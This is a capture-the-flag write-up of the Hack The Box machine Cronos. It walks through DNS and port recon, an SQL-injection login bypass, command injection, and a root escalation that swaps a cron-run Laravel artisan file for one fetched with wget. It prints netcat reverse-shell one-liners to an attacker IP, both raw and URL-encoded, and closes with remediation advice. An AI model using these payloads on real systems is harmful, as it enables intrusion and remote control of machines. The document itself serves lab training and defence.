Hack The Box - cronOS Complete

🎯 Objective

Break into Cronos (10.10.10.13), obtain user and then root flags.

🗺️ Environment & Scope

• Target: 10.10.10.13
• Discovered vHosts: admin.cronos.htb, ns1.cronos.htb (added to /etc/hosts)
• Assumed stack (from findings): Linux host running Apache & Laravel

🔎 Recon

Nmap (topline)

nmap -A 10.10.10.13

22/tcp  open  ssh      OpenSSH 7.2p2 Ubuntu
53/tcp  open  domain   ISC BIND 9.10.3-P4-Ubuntu
80/tcp  open  http     Apache httpd 2.4.18 (Ubuntu)

Wordlists / Directory brute force

• Baseline dirb scan – no useful hits initially.

DNS enumeration

dnsrecon -d cronos.htb -n 10.10.10.13

Found vHosts:

• admin.cronos.htb
• ns1.cronos.htb

Both added to /etc/hosts for virtual host routing.

🧭 Enumeration (Web)

• admin.cronos.htb exposes a very simple login form.
• Initial automated SQLi via sqlmap did not return a clean vector.
• Manual testing found a classic auth bypass.

🧪 Manual SQLi (login bypass)

username: admin'-- -
password: anything

Result: Successful admin login.

Inside the admin panel there is a command execution field that naively runs system commands.

💥 Initial Access (User)

Command Injection → Reverse Shell

Validated commands like whoami, id worked. Pivoted to a reverse shell.

Listener:

nc -lvnp 1337

Payload (raw):

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1 | nc 10.10.14.2 1337 > /tmp/f

Payload (URL-encoded form body example):

command=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2%3e%2621%7Cnc+10.10.14.2+1337+%3e/tmp/f

Note: ensure special characters (;, |, >, &, spaces) are safely encoded for the target.

Outcome: Interactive shell established.
(Your notes mention navigating to C:/Users/noulis/user.txt — on typical Linux HTB targets the flag is at /home/<user>/user.txt.)

⬆️ Privilege Escalation (Root)

Finding: Writable file executed by cron (Laravel artisan)

Checked cron configuration:

cat /etc/crontab

Key entry observed:

* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

Inspection showed the /var/www/laravel/artisan file was writable by the web user (or otherwise replaceable).

Exploit Plan

1. Host a malicious artisan (PHP) on attacker box.
   bash Copy

   # On attacker
   python3 -m http.server 8000

2. Replace the target’s artisan with your payload:
   bash Copy

   # On target
   cd /var/www/laravel
   wget http://10.10.14.2:8000/artisan -O artisan

   Payload can simply system() a reverse shell, or curl/wget a standard pentest PHP reverse shell and system('php /path/to/shell.php').

3. Wait for cron (runs on its schedule) → reverse connection as root.

Outcome: Root shell obtained via cron-executed PHP, grab /root/root.txt.

✅ Flags

• user.txt — via the low-priv shell (see note above re: typical Linux path).
• root.txt — via cron-escalated shell after replacing artisan with payload.

🧰 Tools Used

• nmap, dnsrecon, dirb
• sqlmap (noisy recon, manual SQLi chosen instead)
• nc (reverse shell)
• wget / python3 -m http.server
• Laravel knowledge (cron + artisan schedule:run semantics)

🔐 Remediation / Hardening

• SQL Injection: Use parameterized queries/ORM, strict input validation, centralized auth.
• Command Injection: Never pass user input to shell; whitelist commands; use parameterized safe APIs.
• File Permissions: Application files executed by cron (e.g., artisan) must be root-owned and 0644 (or stricter). No write for web user.
• Cron Hygiene: Run under least-privileged service account; verify integrity (tripwire/aide), and monitor changes.
• Network Controls: Restrict egress where possible (reverse shells), and monitor for unusual connections.
• Secrets/Configs: Keep .env/Laravel configs protected; avoid credentials in VCS or world-readable paths.

📎 Appendix — Handy One‑Liners

Reverse shell (bash + nc):

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1 | nc ATTACKER_IP 1337 > /tmp/f

Host quick HTTP server:

python3 -m http.server 8000

Crafted login bypass (manual):

username: admin'-- -
password: anything

Check cron + artisan perms:

cat /etc/crontab
ls -l /var/www/laravel/artisan

📝 Timeline (Your Run)

1. Recon (nmap/dnsrecon) → find admin.cronos.htb
2. Manual SQLi bypass → admin panel → command injection
3. Reverse shell → user.txt
4. Privesc via writable artisan executed by cron → root shell → root.txt